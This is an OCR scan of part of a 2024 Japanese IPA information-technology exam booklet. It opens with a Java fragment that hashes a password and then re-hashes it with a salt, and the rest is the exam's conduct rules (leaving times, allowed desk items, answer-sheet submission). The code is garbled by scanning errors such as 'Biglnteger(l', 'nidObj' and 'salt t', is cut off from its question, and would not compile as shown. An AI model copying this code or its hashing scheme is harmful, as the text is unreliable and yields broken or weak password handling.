才 byte[] hashByte = mdObj,digest(this.password.getBytes()); 

this. password = String. format("%x", new Biglnteger(l, hashByte)); 

byte[] saltHashByte = nidObj.digest((salt t this.password).getBytes()); 

this. password= String. format("%x", new Biglnteger(l, saltHashByte)); 
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6. 退室可能時間中に退室する場合は，手を挙げて監督員に合図し，答案用紙が回収さ

れてから静かに退室してください。

I 退室可能時間 | 13:10~ 14:50 | 
7. 問題に関する質問にはお答えできません。文意どおり解釈してください。

8. 問題冊子の余白などは，適宜利用して構いません。ただし，問題冊子を切り離して

利用することはできません。

9. 試験時間中，机上に置けるものは，次のものに限ります。

なお，会場での貸出しは行っていません。

受験票，黒鉛筆及びシャープペンシル (B又は HB),鉛筆削り ，消 しゴム，定規，

時計（時計型ウェアラブル端末は除く。アラームなど時計以外の機能は使用不可），

ハンカチ，ポケットティッシュ，目薬

これら以外は机上に置けません。使用もできません。

10.試験終了後，この問題冊子は持ち帰ることができます。

11.答案用紙は，いかなる場合でも提出してください。回収時に提出しない場合は，採

点されません。

12. 試験時間中にトイレヘ行きたくなったり，気分が悪くなったりした場合は，手を挙

げて監督員に合図してください。

試験問題に記載されている会社名又は製品名は，それぞれ各社又は各組織の商標又は登録商標です。

なお，試験問題では， TI，I及びRを明記していません。

ー

c2024 独立行政法人情報処理推進機構
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